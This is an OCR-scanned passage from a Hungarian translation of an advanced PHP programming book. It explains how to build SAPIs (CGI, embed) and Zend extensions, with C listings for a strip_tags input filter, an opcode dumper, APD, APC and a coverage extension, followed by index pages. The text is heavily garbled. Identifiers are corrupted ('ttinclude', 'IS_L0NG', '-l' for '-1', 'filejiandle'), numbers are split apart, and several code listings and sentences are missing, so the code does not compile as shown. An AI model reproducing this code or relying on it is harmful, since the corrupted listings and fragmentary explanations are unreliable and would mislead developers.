Az alkalmazások és a PHP egymásra épülésében a SAPI-k jelentik a kötőanyagot, ugyan-
is ezek határozzák meg, milyen módon közlekedhetnek az adatok az alkalmazás és
a PHP között.
A CGI SÁPI
A CGI SÁPI nagyszerűen bemutatja, miként épülnek fel a SAPI-k általában. Nagyszerűsége
éppen egyszerűségében rejlik, hiszen nem kell bonyolult külső egyedekkel összeszer-
kesztenünk, mint a mod_php-t. Viszonylagos egyszerűsége ellenére lehetővé teszi össze-
tett környezeti adatok, így GET, POST és sütiadatok beolvasását. Az ilyen adatok ilyen be-
vitele a legtöbb SÁPI alapfeladata, így kezelésük megértése igen fontos.
628 PHP fejlesztés felsőfokon
struct _sapi_module_struct {
char *name;
char *pretty_name;
int (*startup)(struct _sapi_module_struct *sapi_module);
int (*shutdown)(struct _sapi_module_struct *sapi_module);
int (*activate)(TSRMLS_D);
int (*deactivate)(TSRMLS_D);
int (*ub_write)(const char *str,
unsigned int str_length TSRMLS_DC);
void (*flush)(void *server_context);
struct stat *(*get_stat)(TSRMLS_D);
char * (*getenv) (char *name, size_t name_len TSRMLS_DC);
void (*sapi_error)(int type, const char *error_msg, . ..);
int (*header_handler)(sapi_header_struct *sapi_header,
sapi_headers_struct *sapi_headers TSRMLS_DC) ;
int (*send_headers)(sapi_headers_struct *sapi_headers TSRMLS_DC);
void (*send_header)(sapi_header_struct *sapi_header,
void *server_context TSRMLS_DC);
int (*read_post)(char *buffer, uint count_bytes TSRMLS_DC);
char *(*read_cookies)(TSRMLS_D);
void (*register_server_variables)(zval *track_vars_array TSRMLS_DC);
void (*log_message)(char *message);
char *php_ini_path_override;
void (*block_interruptions)(void);
void (*unblock_interruptions)(void);
void (*default_post_reader)(TSRMLS_D);
void (*treat_data) (int arg, char *str, zval *destArray TSRMLS_DC) ;
char *executable_location;
int php_ini_ignore;
int (*get_fd)(int *fd TSRMLS_DC);
int (*force_http_10)(TSRMLS_D);
int (*get_target_uid)(uid_t * TSRMLS_DC);
int (*get_target_gid)(gid_t * TSRMLS_DC);
unsigned int (*input_filter)(int arg, char *var, char **val,
unsigned int val_len TSRMLS_DC);
void (*ini_defaults)(HashTable *configuration_hash);
int phpinfo_as_text;
};
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 629
A szerkezet első két mezője a SÁPI nevét adja meg - ezeket kapjuk vissza, ha egy prog-
ramban a phpinf o () vagy a php_sapi_name () függvényeket hívjuk meg.
Amint a 20. fejezetben is olvashattuk, a SÁPI minden kérelem indításakor és lezárásakor hívá-
sokat intéz a futásidejű környezet megtisztítására, illetve az erőforrások esetleges visszaállítá-
sára. Az itt alkalmazott függvények mutatói adják a sapi_module_struct ötödik és hato-
dik mezőjét. A CGI SÁPI nem határozza meg a sapi_module_struct. activate függ-
vényt, vagyis nem ad meg alapértelmezett kódot, a sapi_module_struct. deactivate-et
azonban bejegyzi. Itt a CGI SÁPI kiírja kimeneti fájlfolyamait, biztosítva ezzel, hogy a felhasz-
nálók hozzájutnak az adatokhoz, mielőtt a SÁPI bezárná a csatoló felé eső oldalát. Az alábbi-
akban bemutatjuk a kikapcsoló kódot, valamint a kiürítő segédfüggvényt:
Figyeljük meg, hogy kifejezetten az stdout-ot ürítettük ki - ennek az az oka, hogy a CGI
SÁPI kódolása szerint kizárólag ide küldi a kimenetet.
amely elküldi az adatokat, ha PHP programunkban a print vagy az echó utasításokat al-
kalmazzuk. Amint korábban említettük, a CGI SÁPI közvetlenül az stdout-ra ír. Lássunk
most egy egyszerű megoldást, amely 16 KB-os adatcsomagokat ad át:
Itt az egyes karaktereket külön-külön írtuk ki, ami nem túl hatékony módszer, de köny-
nyen alkalmazható rendszerek széles skáláján. Persze ahol a rendszer támogatja a POSIX
bemeneti-kimeneti lehetőségeket, függvényünket az alábbi alakra zsugoríthatjuk:
char buf[SAPI_CGI_MAX_HEADER_LENGTH];
sapi_header_struct *h;
zend_llist_position pos;
long rfc2 616_headers = 0;
if(SG(request_info).no_headers == 1) {
return SAPI_HEADER_SENT_SUCCESSFULLY;
}
if (SG(sapi_headers).http_response_code != 200) {
int len;
len = sprintf(buf, "Status: %d\r\n",
SG(sapi_headers).http_response_code);
PHPWRITE_H(buf, len);
}
if (SG(sapi_headers).send_default_content_type) {
char *hd;
hd = sapi_get_default_content_type(TSRMLS_C);
PHPWRITE_H("Content-type: ", sizeof("Content-type: ")-l);
PHPWRITE_H(hd, strlen(hd));
PHPWRITE_H("\r\n", 2) ;
efree(hd);
}
h = zend_llist_get_first_ex(&sapi_headers->headers, &pos);
while (h) {
PHPWRITE_H(h->header, h->header_len);
PHPWRITE_H("\r\n", 2);
h = zend_llist_get_next_ex(&sapi_headers->headers, &pos);
}
PHPWRITE_H("\r\n", 2) ;
return SAPI_HEADER_SENT_SUCCESSFULLY;
}
Figyeljük meg, hogy itt nem folyik semmiféle feldolgozás: a read_post kizárólag nyers
POST adatok beolvasására képes. Amennyiben bele kívánunk szólni a feldolgozás módjá-
ba, ezt a sapi_module_struct .default_post_reader meghatározásával tehetjük
meg, amelyről fejezetünk SÁPI bemeneti szűrők címszavánál szólunk bővebben.
file_handle.opened_path = NULL;
file_handle.free_filename = 0;
if (php_request_startup(TSRMLS_C)==FAILURE) {
php_module_shutdown(TSRMLS_C);
return FAILURE;
}
retval = php_fopen_primary_script( & f ile_handle TSRMLS_CC);
if (retval == FAILURE && file_handle.handlé.fp == NULL) {
SG(sapi_headers).http_response_code = 4 0 4;
PUTSC'No input filé specif ied. \n") ;
php_request_shutdown((void *) 0 ) ;
php_module_shutdown(TSRMLS_C);
return FAILURE;
}
php_execute_script(&file_handle TSRMLS_CC);
if (SG(request_info).path_translated) {
char *path_translated;
path_translated = strdup(SG(request_info).path_translated);
efree(SG(request_info).path_translated);
SG(request_info).path_translated = path_translated;
}
php_request_shutdown((void *) 0 ) ;
if (exit_status == 0) {
exit_status = EG(exit_status) ;
}
if (SG(request_info).path_translated) {
free(SG(request_info).path_translated);
SG(request_info).path_translated = NULL;
}
} zend_catch {
exit_status = 2 55;
} zend_end_try();
php_module_shutdown(TSRMLS_C);
sapi_shutdown();
return exit_status;
}
/* alapértelmezések feltöltése */
SG(request_info).path_translated = NULL;
SG(request_info).request_method = NULL;
SG(request_info).query_string = NULL;
SG(request_info).request_uri = NULL;
SG(request_info).content_type = NULL;
SG(request_info).content_length = 0;
SG(sapi_headers).http_response_code = 2 0 0 ;
Ez tehát a teljes folyamat, melyben a PHP értelmezőt egy SÁPI segítségével az alkalmazás-
ba ágyazhatjuk.
A beágyazási SÁPI
A CGI SÁPI méretesnek tűnhet, de működésének nagy része a hívó környezetében található
adatok automatikus beviteléből áll. A PHP nagy figyelmet fordít arra, hogy elrejtse a környe-
zeti adatok elérésének részleteit - és az igyekezetek nagy része a SAPI-ban testesül meg.
Ha nincs szükségünk a teljes PHP beágyazására, mindössze némi PHP kódot szeretnénk
futtatni az alkalmazás részeként, a beágyazási SÁPI nagyszerű segítséget nyújthat, hiszen
a PHP-t osztott könyvtárként teszi elérhetővé, melyet programunkba szerkeszthetünk, és
kódokat futtathatunk vele.
--enable-embed
E makrók között egy működő PHP környezetet találunk, melyben futtathatjuk programja-
inkat, valahogy így:
Vagy így:
A dolog egyszerűségének szemléltetésére álljon itt egy PHP héj, ami bármit végrehajt,
amit átadunk neki:
ttinclude <php_embed.h>
tfinclude <stdio.h>
#include <readline/readline.h>
#include <readline/history.h>
Ez a kis példa persze nem egyéb játéknál, de jól mutatja, miként férhetünk hozzá a PHP
lehetőségeihez mindössze 15 sornyi C kód árán. A későbbiekben ennél komolyabb fel-
adatra is használjuk majd a beágyazási SAPI-t: megvalósítjuk a 20. fejezetben már bemuta-
tott opkód-kiíratót.
Az ilyesfajta támadások elleni védekezés egyszerű: mindig meg kell győződnünk a fel-
használói bemenet érvényességéről, és el kell távolítanunk a nemkívánt adatokat. A tisz-
togatás felelőssége a fejlesztőé, de két okból sem érdemes magára hagynunk:
Annak érdekében, hogy némi beleszólást kapjunk ebbe a folyamatba, a SÁPI három
visszahívható függvényt is rendelkezésünkre bocsát, melyekkel kérelmenként elvégez-
hetjük a tisztogatást. E függvények a következők: input_f ilter, treat_data és
def ault_post_reader. Mivel ezek a SÁPI szintjén bejegyzettek, láthatatlanok a fejlesz-
tők számára, futtatásuk pedig automatikus, ami lehetetlenné teszi, hogy elfeledkezzünk
alkalmazásukról valamely oldal esetén. Ráadásul, mivel megvalósításuk C nyelvű, végre-
hajtásuk pedig még azelőtt történik, mielőtt az adatok autoglobális tömbbe kerülnének,
sokkal gyorsabbak lehetnek bármilyen PHP kódnál.
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 641
input_filter
A bemeneti szűrők a SÁPI indítása után léphetnek működésbe, jelen példánk pedig egy
modul alakjában áll rendelkezésre. Ez azért nagyszerű hír, mert így nem kell hozzányúl-
nunk a SÁPI kódjához.
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "php_globals.h"
#include "php_variables.h"
ftinclude "ext/standard/info .h"
#include "ext/standard/php_string.h"
ZEND_BEGIN_MODULE_GLOBALS(raw_filter)
zval *post_array;
zval *get_array;
zval *cookie_array;
ZEND_END_MODULE_GLOBALS(raw_f ilter)
#ifdef ZTS
tdefine IF_G(v) TSRMG(raw_filter_globals_id, zend_raw_filter_globals *, v)
#else
#define IF_G(v) (raw_filter_globals.v)
#endif
642 PHP fejlesztés felsőfokon
unsigned int raw_filter(int arg, char *var, char **val, unsigned int val_len,
unsigned int *new_val_len TSRMLS_DC)
PHP_MINIT_FUNCTION(raw_filter)
{
ZEND_INIT_MODULE_GLOBALS(raw_filter,
php_raw_filter_init_globals, NULL);
zend_register_auto_global("_RAW_GET", sizeof("_RAW_GET")-1,
NULL TSRMLS_CC);
zend_register_auto_global("_RAW_POST", sizeof("_RAW_POST")-1,
•• NULL TSRMLS_CC);
zend_register_auto_global("_RAW_COOKIE", sizeof("_RAW_COOKIE")-1,
NULL TSRMLS_CC);
sapi_register_input_filter(raw_filter);
return SUCCESS;
}
PHP_MSHUTDOWN_FUNCTION(raw_filter)
{
return SUCCESS;
}
PHP_RSHUTDOWN_FUNCTION(raw_filter)
{
if(IF_G(get_array)) {
zval_ptr_dtor(&IF_G(get_array));
IF_G(get_array) = NULL;
}
if(IF_G(post_array)) {
zval_ptr_dtor(&IF_G(post_array));
IF_G(post_array) = NULL;
}
if(IF_G(cookie_array)) {
zval_ptr_dtor(&IF_G(cookie_array));
IF_G(cookie_array) = NULL;
}
return SUCCESS;
}
PHP_MINFO_FUNCTION(raw_filter)
{
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 643
php_info_print_table_start();
php_info_print_table_row( 2,
"strip_tags() Filter Support", "enabled" );
php_info_print_table_end();
}
zend_module_entry raw_filter_module_entry = {
STANDARD_MODULE_HEADER,
"raw_filter",
NULL,
PHP_MINIT(raw_filter),
PHP_MSHUTDOWN(raw_filter),
NULL,
PHP_RSHUTDOWN(raw_filter),
PHP_MINFO(raw_filter) ,
"0.1",
S TANDARD_MODULE_PRO PERTIE S
};
#ifdef COMPILE_DL_RAW_FILTER
ZEND_GET_MODULE(raw_filter);
#endif
Nos, ez javarészt szabványos modul - két dologra azonban érdemes odafigyelnünk. Elő-
ször is az alábbi hívásra, mellyel az MINIT-ben új $_RAW tömbjeinkét autoglobálisként je-
gyezzük be:
zend_register_auto_global("_RAW_GET", sizeof("_RAW_GET")-1,
NULL TSRMLS_CC);
Másodszor, szintén az MINIT során, az alábbi hívással jegyezzük be a raw_f ilter függ-
vényt, mint SÁPI bemeneti szűrőt:
sapi_register_input_filter(raw_filter) ;
unsigned int raw_filter(int arg, char *var, char **val, unsigned int val_len,
unsigned int *new_val_len TSRMLS_DC);
switch(arg) {
case PARSE_GET:
if(!IF_G(get_array)) {
ALLOC_ZVAL(array_ptr);
array_init(array_ptr);
INIT_PZVAL(array_ptr);
zend_hash_update(&EG(symbol_table),
"_RAW_GET", s i z eo f("_RAW_GET"),
&array_ptr, sizeof(zval *), NULL);
}
IF_G(get_array) = array_ptr;
break;
case PARSE_POST:
if(!IF_G(post_array)) {
ALLOC_ZVAL(array_ptr);
array_init(array_ptr);
INIT_PZVAL(array_ptr);
zend_hash_update(&EG(symbol_table),
"_RAW_POST", sizeof("_RAW_POST"),
&array_ptr, sizeof(zval *), NULL);
}
IF_G(post_array) = array_ptr;
break;
case PARSE_COOKIE:
if(íIF_G(cookie_array)) {
ALLOC_ZVAL(array_ptr);
array_init(array_ptr);
INIT_PZVAL(array_ptr);
zend_hash_update(&EG(symbol_table),
"_RAW_COOKIE",sizeof("_RAW_COOKIE"),
&array_ptr, sizeof(zval *), NULL);
}
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 645
IF_G(cookie_array) = array_ptr;
break;
}
Z_STRLEN(new_var) = val_len;
Z_STRVAL(new_var) = estrndup(*val, val_len);
Z_TYPE(new_var) = IS_STRING;
php_register_variable_ex(var, &new_var, array_ptr TSRMLS_DC);
php_strip_tags(*val, val_len, NULL, NULL, 0 ) ;
*new_val_len = strlen(*val);
return 1;
}
• sapi_module_struct.treat_data
• sapi_module_struct.default_post_reader
De miért e pesszimista jövőkép? Nos, azért nem valószínű, hogy ezt a lehetőséget egy INI
változó beállításával valaha is elérhetjük, mert ez szinte lehetetlenné tenné a kód rendsze-
rek közti átvitelét. Amennyiben az E_WARNING nem végzetes hiba egyes rendszereken,
máshol pedig egy try {} /catch{} blokkot kell alkalmaznunk az elfogására, komoly
gondokkal szembesülhetünk a kód terjesztésénél.
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
ttinclude "php_ini.h"
#include "ext/standard/info.h"
#include "zend.h"
#include "zend_default_classes.h"
ZEND_BEGIN_MODULE_GLOBALS(warn_as_except)
ZEND_API void (*old_error_cb)(int type, const char *error_filename,
const uint error_lineno, const char * formát,
va_list args);
ZEND_END_MODULE_GLOBALS(warn_as_except)
ZEND_DECLARE_MODULE_GLOBALS(warn_as_except)
#ifdef ZTS
#define EEG(v)
TSRMG(warn_as_except_globals_id,zend_warn_as_except_globals *,v)
#else
#define EEG(v) (warn_as_except_globals.v)
#endif
PHP_MINIT_FUNCTION(warn_as_except)
{
EEG(old_error_cb) = zend_error_cb;
zend_error_cb = exception_error_cb;
return SUCCESS;
}
PHP_MSHUTDOWN_FUNCTION(warn_as_except)
{
return SUCCESS;
}
PHP_MINFO_FUNCTION (warn_as_except)
{
}
zend_module_entry warn_as_except_module_entry = {
STANDARD_MODULE_HEADER,
"warn_as_except",
no_functions,
PHP_MINIT(warn_as_except) ,
PHP_MSHUTDOWN(warn_as_except),
NULL,
NULL,
PHP_MINFO(warn_as_except),
"1.0",
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_WARN_AS_EXCEPT
ZEND_GET_MODULE(warn_as_except)
#endif
Opkódok kiíratása
A 20. fejezetben egy kiírató segédprogram használatával alakítottuk a Zend Engine belső
kódját emberi értelmezésre alkalmassá. Most megtanuljuk, hogyan készíthetünk magunk
is ilyen programot. Az alapgondolat egyszerű: fogjuk a zend_compile_f ile () -tói ka-
pott zend_op_array tömböt, és formázzuk. Készíthetnénk bővítményi függvényt a fájl
feldolgozására és a kimenet kiírására, de okosabb ötlet önálló alkalmazást írni a beágya-
zási SÁPI használatával.
A 20. fejezetben láthattuk, hogy a zend_op_array az alábbi alakú zend_op elemekből áll:
struct _zend_op {
opcode_handler_t handler;
znode result;
znode opl;
znode op2;
ulong extended__value;
uint lineno;
zend_uchar opcode;
};
Ahhoz, hogy ezeket értelmezhető kóddá alakítsuk, szükségünk lesz az opkódokhoz tartozó
műveletek neveinek azonosítására, és ki kell írnunk az opl, op2 és result znode-okat.
switch(opcode) {
case ZEND_NOP: return "ZEND_NOP"; break;
case ZEND_ADD: return "ZEND_ADD"; break;
case ZEND_SUB: return "ZEND_SUB"; break;
case ZEND_MUL: return "ZEND_MUL"; break;
case ZEND_DIV: return "ZEND_DIV"; break;
case ZEND_MOD: return "ZEND_MOD"; break;
/* ... */
default: return "UNKNOWN"; break;
}
}
#define BUFFER_LEN 40
char *format_zval(zval * z )
{
switch(z->type) {
case IS_NULL:
return "NULL";
case IS_L0NG:
case IS_B00L:
snprintf(buffer, BUFFER_LEN, "%d", z->value.Ival);
return buffer;
case IS_DOUBLE:
snprintf(buffer, BUFFER_LEN, "%f", z->value.dval);
return buffer;
case IS_STRING:
snprintf(buffer, BUFFER_LEN, "\"%s\"",
php_url_encode(z->value.str.val, z->value.str.len, &len));
return buffer;
case IS_ARRAY:
case IS_0BJECT:
case IS_RESOURCE:
case IS_CONSTANT:
case IS_CONSTANT_ARRAY:
return "" ;
default:
return "unknown";
}
}
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 651
switch (n->op_type) {
case IS_CONST:
return format_zval(&n->u.constant);
break;
case IS_VAR:
snprintf(buffer, BUFFER_LEN, " $ % d " ,
n->u.var/sizeof(temp_variable)) ;
return buffer;
break;
case IS_TMP_VAR:
snprintf(buffer, BUFFER_LEN, " ~ % d " /
n->u.var/sizeof(temp_variable)) ;
return buffer;
break;
default:
return "";
break;
}
}
Végül kössük össze mindezeket a main () eljárással, ami lefordítja a programot és kiírja
a kapott eredményt:
if(argc != 2) {
printf("usage: op_dumper <script>\n");
return 1;
}
PHP_EMBED_START_BLOCK(argc,argv);
printf("Script: %s\n", argv[l]);
file_handle.filename = argv[l];
file_handle.free_filename = 0;
filejiandle.type = ZEND_HANDLE_FILENAMB;
file_handle.opened_path = NULL;
op_array = zend_compile_file(&file_handle,
ZEND_INCLUDE TSRMLS_CC);
if(!op_array) {
printf("Error parsing script: %s\n", file_handle.filename);
return 1;
}
dump_op_array((void *) op_array);
PHP_EMBED_END_BLOCK();
return 0;
}
APD
A 18. fejezetben megtanultuk, miként használhatjuk az APD-t a PHP kód profiljának elké-
szítésére. Itt valójában egy Zend bővítményről van szó, ami a zend_execute () burkolá-
sával lehetővé teszi a függvényhívások időtartamainak mérését.
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 653
PHP_MINIT_FUNCTION(apd)
{
ZEND_INIT_MODULE_GLOBALS(apd, php_apd_init_globals,
php_apd_free_globals);
old_execute = zend_execute;
zend_execute = apd_execute;
zend_execute_internal = apd_execute_internal;
return SUCCESS;
}
fname =
apd_get_active_function_name(EG(current_execute_data)
->op_array TSRMLS_CC);
trace_function_entry(fname, ZEND_INTERNAL_FUNCTION,
zend_get_executed_filename(TSRMLS_C),
zend_get_executed_lineno(TSRMLS_C));
execute_internal(execute_data_ptr, return_value_used TSRMLS_CC);
trace_function_exit(fname);
efree(fname);
}
654 PHP fejlesztés felsőfokon
APC
Az APC hasonlóan működik az APD-hez, csak kissé összetettebb módon. Alapjául
a zend_compile_f ile () felülírása szolgál - az alapértelmezés helyett egy olyan függ-
vényt kapunk, mely képes újrakiosztani, tárolni és kiolvasni a kapott zend_op_array-t
az osztott memóriabeli gyorstárból.
struct _zend_extension {
char *name;
char *versión;
char *author;
char *URL;
char *copyright;
startup_func_t startup;
shutdown_func_t shutdown;
activate_func_t activate;
deactivate_func_t deactivate;
message_handler_func_t message_handler;
op_array_handler_func_t op_array_handler;
statement_handler_func_t statement_handler;
fcall_begin_handler_func_t fcall_begin_handler;
fcall_end_handler_func_t fcall_end_handler;
op_array_ctor_func_t op_array_ctor;
op_array_dtor_func_t op_array_dtor;
int (*api_no_check)(int api_no);
void *reserved2;
void *reserved3;
void *reserved4;
void *reserved5;
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 655
void *reserved6;
void *reserved7;
void *reserved8;
DL_HANDLE handlé;
int resource_number;
};
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "zend.h"
#include "zend_extensions.h"
ttifndef ZEND_EXT_API
#define ZEND_EXT_API ZEND_DLEXPORT
#endif
ZEND_EXTENSION();
call_coverage_zend_startup,
NULL,
NULL,
NULL,
NULL, // message_handler_func_t
NULL, // op_array_handler_func_t
statement_handler, // statement_handler_func_t
NULL, // fcall_begin_handler_func_t
NULL, // fcall_end_handler_func_t
NULL, // op_array_ctor_func_t
NULL, // op_array_dtor_func_t
STANDARD_ZEND_EXTENSION_PROPERTIES
};
Ezután a fordítás ugyanúgy történik, mint egy rendes PHP bővítménynél. Figyeljük meg,
hogy az indító függvény beállítja a CG (extend_inf o) -t - enélkül a motor nem képes el-
készíteni a kezelők működéséhez szükséges bővített opkódokat.
zend_extension=/full/path/to/call_coverage.so
<?php
$test = 1;
i f( $ t e s t ) {
$counter++;
}
23. fejezet • SAPI-k készítése és a Zend Engine bővítménye 657
else {
$counter— ;
}
?>
/Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:2
/Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:3
/Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:4
/Users/george/Advanced_PHP/examples/chapter-23/call_coverage/test.php:10
Házi feladat
A korábbi fejezetekben megszokhattuk, hogy itt a További olvasmányok címszó követke-
zik - a SAPI-k és a Zend bővítmények készítéséről szóló rendszeres leírások hiányában
azonban itt sajnos nem nagyon volna mit felsorolnunk. Magán a kódon kívül nem igazán
ajánlhatunk más nyilvános forrást e téren.
Ezért hát inkább fejlesszük magunk eddig megszerzett tudásunkat az alábbi házi feladatok
megoldásával:
interfész 49 Johnson 71
Internet Explorer 359 Jonathan Lewis 348
internetes bevásárlókocsi 259 JUnit 161, 176, 191
internetes protokollok 188 K
internetszolgáltató 285, 358 K&R stílus 10, 19
IonCube 533 kanonikus elérési út 165
ionCube Accelerator 236, 239 kapacitás 400
IOS 68 kapcsolati adatok 42
IP 350 kapcsolatok megosztása 54
IPC 278 kapcsolók 133
irányítószám 104, 302 kapcsolt paraméter 45
írás 56 kapcsolt változó 46
írási jogosultság 112 kapcsos zárójel 9, 113
írási tár 247 karakterek keresése 502
is_a() függvény 52 karakterlánc 60, 275, 320, 551, 552
is_cachedO 120 karakterlánc-kezelő függvény 320
is_int függvény 87 karakterláncok feldolgozása 555
is_ref 524 Kari Fogelis 219
ISAPI Server Abstraction API 268 kcachegrind 485
ISO 8601 434 keepalive 244
ISO országkód 327 kemény tabulátor 5
item 432 Kent Beck 161, 191
item_struct 432 képviselet 48
iterátor 63 képviseleti hibák 51
J képviselő 48
Java 20, 27, 108, 191, 263, 315 Kerberos 3Ó7
Java alapú munkamenet-burkoló 352 kérelmek indítása 579
Java IDE 176 kérelmenkénti elavulás 360
JavaDoc 27 keresőmotor 352
JavaScript 77, 358, 484, 523 keresőtáblák 345
JavaScript címkék 105 keretrendszer 41
javasolt zárak 266 kern.ipc.nmbclusters 246
JDBC 56 Kernighan 10
jegy alapú rendszer 350 késleltetés 215
jelentéskészítő adatbázis 53 késői tesztelés 159
jellemző 34 két szóköz 6
jelszavak védelme 354 kétdimenziós tömb 119, 134
jelszó 36, 350, 354 kétlépéses végrehajtás 419
jelzések 139 kétmotoros gép 384
jelzőcímkék 204 kettőspont 133
Jeremy Zawodny 348, 425 kezdőérték 34
Jim Winstead 592 kezdővektor 365
jó kód 221 kezelhetőség 194
Tárgymutató 671
Perl 59, 74, 129, 225, 319, 508, 523, phpscript.php 129
530 PHPSESSIONID 385
Perl Compatible Regular Expression PHPUnit 161, 169
319 PHPUnit: :Assert 170
Peri-megfelelő szabályos kifejezések PHPUnit_Framework_TestCase 166
319 PHPUnit_Framework_TestCase osztály
perzisztens 59 162
pesszimista megközelítés 294 PHPUnit_Framework_TestListener
Péter Gulutzan 348 felület 174
Philip Mak 255 PHPUnit_Framework_TestResult
Phillip Hazel 319 objektum 174
php 129 PHPUnit_Framework_TestSuite
PHP 4 529, 596 objektum 162
PHP 5 353, 529, 596, 604 PHPUnit_GtkUI_TestRunner 176
php blokk 122 PHPUnit_WebUI_TestRunner::runO
PHP bővítmény 218, 544 176
PHP bővítmény és alkalmazástár 69 PID 135
PHP Extension and Application pillanatfelvételek 421
Repository 15, 69 polimorfizmus 36, 41
PHP fájlok áthelyezése 213 populateO függvény 346
php függvény 118 POSIX 266
PHP kérelmek életciklusa 534 POSIX fájlleíró 567
PHP könyvtárak 26 posix_kill() 142
PHP mag 537 posix_setgidO 146
PHP motor 534 posix_setuid() 146
PHP munkamenetek 387 Poskanzer thttpd 245
PHP nyelvtan 9 POST 253, 380, 627
PHP profilkészítő 466 POST adatok 103, 633
PHP SÁPI 269 POST kérelmek 428
php.ini 75, 78, 80, 101, 111, 134, 218, post_runO tagfüggvény 149
230, 237, 254, 385, 388, 391, 430, PostgreSQL 47, 229
467, 548, 575 Powers-Sumner-Kearl képlet 188
PHP_FUNCTION 550 PPP 37
PHP_MINFO_FUNCTION0 580 pprofp 468
php_module_startup 537 Pragma: no-cache 248
PHP_RSHUTDOWN_FUNCTION() 579 pre-fork model 245
PHP4 37, 40, 99 preg_grepO 319
PHP4 objektummodell 54 preg_matchO 319
phpDocumentor 27 preg_replaceO 319, 481
PHPEd 467 preg_replace_callback() 508
PHP-GTK 157, 176 preg_splitO 319
phpinfoO bejegyzés 580 prepare 45
Tárgymutató 677
prepareO 47 R
previous_status 149 ragasztónyelv 123
print 23, 130 ramfs 216
privát 37 rawurlencode 478
privát hivatkozás 54 RCS 194
privát konstruktőr 56 reád 391
privát tagfüggvény 37 readability score 191
privát tulajdonságok 599 readfile függvény 268
privát változó 37, 604 Reál Time 468
priváté 37, 55, 250 reallocO 552
próbakörnyezet 207 realpathO függvény 165
procedurális programozás 33 Really Simple Syndication 49
process ID 135 reaping 137
processzoridő 136 Red Hat rpm 216
profilkészítés 455 Reduced Instruction Set Computer 516
profilkészítő 466 Redundancia 399
program kilövése 139 refaktorizáció 37, 159
projektvezetés 193 refcount 524
protected 37 reference 40
prototípus 49, 52 Reflection API 155
proxy 242 Reflection_Class osztály 155
ProxylOBufferSize 244 register_argc_argv 134
ProxyPass 244 register_blockO 121
ProxyPassReverse 244 register_functionO 118
ProxyRequests 244 register_global 77
proxy-revalidate 250 register_globals 229
PS_DESTROY_FUNC0 613 register_modifierO 120
PS_GC_FUNC() 614 register_outputfilterO 123
PS_MOD0 610 register_postfilter() tagfüggvény 123
PS_OPEN_FUNC 610 register_prefilterO tagfüggvény 123
PS_READ_FUNC() 612 regressziós teszt 168
PS_WRITE_FUNC() 612 rejtett munkamenet-azonosító 385
pubcookie 375 reklámajánlatok 272
pubDate 432 rekurzív függvények 305
public 37, 250 rekurzív különbségkeresés 202
publish 432 relációs adatbázis 323
put() 276, 287 relációs adatbázis-kezelő 323, 417
Python 4, 108, 129, 166, 191, 225, 523, relatív elérési út 165
530 remote command injection 230
Q removeO 287
-q kapcsoló 204 renameO függvény 270
QA 208 rendező algoritmusok 308
Qmail 271 rendszergazda 145
678 PHP fejlesztés felsőfokon